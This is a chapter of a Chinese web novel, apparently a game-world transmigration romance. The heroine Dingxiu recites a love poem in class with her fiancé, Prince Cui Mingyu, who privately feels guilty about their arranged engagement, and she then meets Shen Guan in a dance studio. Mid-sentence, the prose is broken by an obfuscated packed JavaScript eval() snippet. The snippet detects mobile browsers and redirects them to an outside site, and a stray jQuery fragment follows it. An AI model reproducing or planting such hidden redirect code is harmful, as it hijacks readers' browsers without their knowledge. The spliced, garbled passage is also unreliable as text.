因为专业课不一样,且沐妍的课程还会涉及大量实操,而实操教室在离文学史教室超级遥远的地方,所以只有主课,她们会和沐妍一起上。
也就是只有周一、三、五的上半天,其他时候,她们都远得像鹊桥两边的牛郎织女。
不过沐妍一个人过得好像也不错。
她交到了好几个同专业又玩得来的朋友,都是对机械工程极为热爱的人。
她们几个组了一个小社团,嗨皮得不行。
安诺有时候也会参加一些活动。
定绣就敬谢不敏了。
反正她听不懂。
不过,不得不说,和女主报同一个专业绝对是明智之举。
安诺甚至会提前半小时喊定绣起床去教室点到,给她分享制作好的课表和预习功课时的笔记,甚至连讲课老师的性格如何、怎么才能更好地拿到更高的课堂表现分——她都了如指掌。
跟着安诺上了几天学下来的定绣幸福得冒泡。
原来有绑定学霸是这样的感觉——就像游戏里有绑定的队友——共享捡到的好装备、濒临死亡的治疗术、甚至是斗地主时一起当农民阵营都有喂过来的牌。
而且每次下课之后,安诺还会把知识点重新梳理,然后给定绣再讲一遍。
这不仅仅是她为了巩固复习,也更让定绣听得更容易一点。
定绣更加确定了自己当初的明智之举。
但是唯一不太妙的就是:崔鸣玉也报了文学史。
定绣终于想起来当初那四个男主的剧情选项到底是什么了。
但是现在想起来显然是已经晚了。
而且,这个该死的巧合,落到所有人的眼里都会变得很合理:
作为准王子妃,和王子殿下报同一个专业不能更合理了。
经营婚姻很重要的一点就是需要和另一半有共同的语言。
呵呵。
而定绣唯一的对策就是和崔鸣玉尽可能地保持遥远的距离。
幸好上课的时候和现代大学的时候差不多,都是随机选座的。
每次上课的时候,崔鸣玉坐在这头,定绣就坐在那头。
中间隔着一段乡愁。
但即便如此,还是会发生一些不可抗力的意外。
譬如说,有一节诗歌赏析课,文学老师随机邀请两个同学上去朗读诗歌。
说是随机,但老师直接就点名了定绣和崔鸣玉。
“不如就请王子殿下和准王子妃为我们示范一下吧。”
毕竟崔鸣玉之前待过唱诗班——他的人生履历真的是亮得定绣睁不开眼。
当然,以上情报也是定绣从执事那里听到的。
定绣一脸呆滞地抱着课本走了上去,安诺还在底下打着手势,问她要不要给他们拍双人照(虽然不允许拍王室,但只要征求同意就没事,毕竟王室也需要一些正面或和谐的新闻或者日常动态来稳固自己的社交人设)
定绣:……别磕了!(╯‵□′)╯︵┻━┻
安诺以为她害羞,一脸“我懂得”的表情。
定绣:……(真的没招了
而文学老师还在旁边笑吟吟地跟底下的同学们介绍:“这首诗歌是十七世纪一位伟大的女吟游诗人为了纪念她的爱情所写下的诗歌,诸位在诵读的时候一定要饱含感情,与诗歌里的情感产生共鸣。”
一定要用深情而柔和的语调,如果能加点肢体语言就会更好。
毕竟动作也是理解语言和文学的基调之一。
定绣听到这里,嘴角一抽,但她还是抱着好奇的心理看向了崔鸣玉。
她想知道他现在的心情是嫌弃她多一点,还是已经注意到了教室台下坐着安诺,正在开启乙向剧情。
但是他都没有。
崔鸣玉正在看着她(……)
离得近了,定绣才发现他的眸子并不是纯黑色的,而是一种接近幽蓝的颜色、像是还未完全黑透的夜幕。
定绣被他注视得身上都起了点毛毛的感觉,她立刻撤回视线,举起课本,开始声如洪钟地诵读课本。
看起来更加欲盖弥彰了。
文学史老师显然是被定绣充满力量和正气的声音给整无语了,只是因为对方是准王子妃,不好多说什么。
她委婉地提醒定绣:“在诵读的时候,其实你可以加入更多的情感,声线也可以更柔和一些。”
定绣连连点头。
虽然她的学习不好,但学习态度还是很好的。
没有人可以指责她,没!有!人!
然后就轮到崔鸣玉来诵读课本了,说实话,他的声线清朗、干净,令人能联想到少年和夏天、篮球、柠檬汽水以及校服上的舒肤佳香气。
定绣站在旁边,一边低头翻着课本,一边在心里想着崔鸣玉的声音倒是还挺好听的,当然,脸也长得可以。
可惜——
因为他一开始没有坚定地站在安诺这边,所以被早早地pass出局了。
但现在更大的难题来了——
女主在她的推动下选择了崔鸣玉的线,她现在必须得开崔鸣玉的乙游剧情了啊!
定绣有些犹豫,是不是应该给崔鸣玉一个机会呢?
这么想着,她又微微侧过头,看向崔鸣玉。
——然后就再度和崔鸣玉对上了视线。
定绣:“……”
是不是有毛病,她脸上又没有字,读书的时候怎么能开小差!当心变成第一个没拿到毕业证不得不延毕重修的王子!
不过这一次她没有再避开崔鸣玉的视线,而是理直气壮、更加大大方方地看了回去。
来来来,看看看,让你一次性看个够!
这么一来,崔鸣玉反而率先收回了目光。
他似乎只是在很短地瞥了她一眼,好奇她为什么会用那种唱美声的声调念课文而已。
崔鸣玉突然想起来,前不久沈观才对他说过的话。
“你的未婚妻似乎不怎么聪明的样子,玩这种欲擒故纵的把戏,明明喜欢你喜欢得要死,却又躲着处处不跟你正面往来——”
没等他说完话,崔鸣玉就开口打断了他:“你别说了。”
他虽然对这段联姻保持着无所谓和随便的态度,但他没有要实质性羞辱定绣的意图。
他不喜欢沈观把女孩子的心意挂在嘴边侃侃而谈的样子。
沈观长得美,家世又好,TT后台从来不缺美女的私聊,储物柜里永远堆满了手工巧克力和针织围巾,在运动馆打球的时候总能引起尖叫、欢呼与掌声。
他被那些直白而浓烈的爱包围得太久,下意识就会忽略那些小心翼翼的感情。
喜欢一个人其实并不是什么错事。
更何况,明明是他主动挑选了她作为准王子妃。
这一切都因他而起。
她的确如沈观所说的那样,努力而认真地扮演着准王子妃的这个角色。
她很认真地学习执事教给她的每一门课程,为了环保与节约对那些带来的珠宝弃之不用,现在又报了文学史这门课程——从定绣嘹亮的嗓音就可以听出,她并不喜欢文学史这门课程,只是为了学习而学习。
如果不喜欢这门课程,又为什么要选择这门课程?
——答案已经呼之欲出。
那一刻,崔鸣玉的心底生起了些许愧疚。
他看向她,只是每一次目光刚刚接触,她就会飞快地移开视线。
爱是想要触碰却又收回的手。
他缓慢地摩挲着手中的书页。
他想,大约她也意识到了,他根本不喜欢她的这个事实。
以至于她的每一次的鼓起勇气,都需要带着小心翼翼的试探。
他其实不该这样。
他不该把一个无辜的、什么都没有做错的女孩牵扯进他和元老院的抗争之中的。
他一开始以为定绣只是为了一步登天、结婚化债才来参加选妃。
她一开始也表现得高调张扬,但现在似乎也在慢慢改变自己,改变自己的行事风格。
她做了很多,改变了很多。
以至于崔鸣玉当初设想好的给定绣的补偿已经完全不太够了。
“晚安,我的爱,世界不会终结,我们终会再见。”
念完最后一句,他轻轻地合上了书本,合上了女诗人百年以来对爱的叙述。
诗歌诵
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17493230|202340||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
读完毕,定绣心说终于可以回位置上休息一下了。
她和崔鸣玉以准夫妇的身份报同一个专业,简直就像是在一个满是绕口名字的新疆人的教室里突然多出了两个叫“李雷”和“韩梅梅”的角色,老师逢课必点啊!
结果回到座位,定绣刚想掏出手机摸会儿鱼,就被安诺用眼神制裁了。
她只来得及飞快地刷新一下TT,结果却发现后台凭空多出了一个好友申请。
【崔鸣玉】请求添加你为好友。
定绣:“???”
这个王子殿下想干嘛?
这次,她终于忍不住了,转头看向崔鸣玉坐着的方向。
但这一次,他没有再看她,只是低垂着眼眸,翻阅着面前的课本。
定绣:“……?”
她想了想,还是通过了这个好友申请。
既来之则安之。
既然安诺都选了崔鸣玉这条支线,那如果崔鸣玉后期表现好的话,那也不是可以给他当僚机。
今天的专业课结束后,定绣下午的安排就只有三点以后的选课了。
当然,就连选课,她们三个人也都选的不一样。
沐妍选了厨艺烹饪,安诺选了园艺插花,定绣本来也想跟安诺一起选园艺。
结果,在安诺的建议下,她选了舞蹈课。
一开始,定绣还以为是安诺觉得舞蹈课好混学分,所以才好心建议自己的呢。
结果等她点击了选课网址的“确认”键的那一刻,安诺才道:“你说你跳舞跳得不太好,那正好需要多学学,我听说王室的很多活动都会要求跳舞呢,你作为准王子妃,可不能丢脸哦!”
定绣:“……”
上当了。
但她还是决定挣扎一下,试图把安诺一起拉下水。
毕竟她才是真正的女主,她也应该学跳舞才对!
“那你怎么不和我一起报课?我说,既然你想要改变自己的命运,想要成就自己的理想,想要改变自己的阶级,那你也要学啊!我听说很多商圈交际之间的联谊和宴会也要跳舞啊!”
安诺:“我本来就会啊。”
定绣:“…………诶?”
安诺弯起眼睛,她站起身,示意定绣把手交到自己的手里。
然后定绣就迷迷糊糊地被她领着跳完了一整段圆舞曲。
说实话,她跳舞真的有够烂,大部分时间是安诺在引导她。
每次她挑错了,安诺就会用扶着她的腰的那只手碰一碰她。
可恶,她竟然男步和女步都会!
定绣失去了挑刺的机会,不得不认命。
假期里被执事逼着学就算了,如今选课还要继续学。
定绣:命苦。
不过好消息是,崔鸣玉没有选舞蹈课这门选课。
她刷了刷他的动态,发现他的选课报的是晦涩的考古学。
至于他的私聊,定绣点开后台,刷新了两遍,崔鸣玉在加过她的好友之后,就没有别的发言了。
不过等上了舞蹈课之后,才发现命苦的在后头。
定绣在这门选课上看到了自己最不想看到的某个人。
准确地来说,定绣提前了半个小时来到舞蹈课,打算偷偷地练一下舞步,不至于在课上把未来的舞伴踩哭。
结果一推开门,她就看到沈观正坐在舞蹈室的地板上。
舞蹈室里到处都是镜子,就连天花板也是镜子,地板虽然不是镜子,但仍旧是由打磨得光可鉴人的大理石组成。
舞蹈老师设计这个教室的初衷,就是为了让舞者们随时随地都能看到自己动作上的不足,并及时地纠正。
再有一个,就是舞者也能够在跳舞的时候,实时欣赏到自己的舞姿。
只不过现在,四面八方的镜子将沈观的倒影照得清清楚楚、一览无遗。
听到有人进门的动静,他本来没打算抬头,仍然专注于手机里的模拟器。
直到光洁的地板反射出定绣的身影。
直到她的身影落入他视线的余光里。
于是他终于舍得抬起头。
冲着定绣露出了一个微笑。
“好巧。”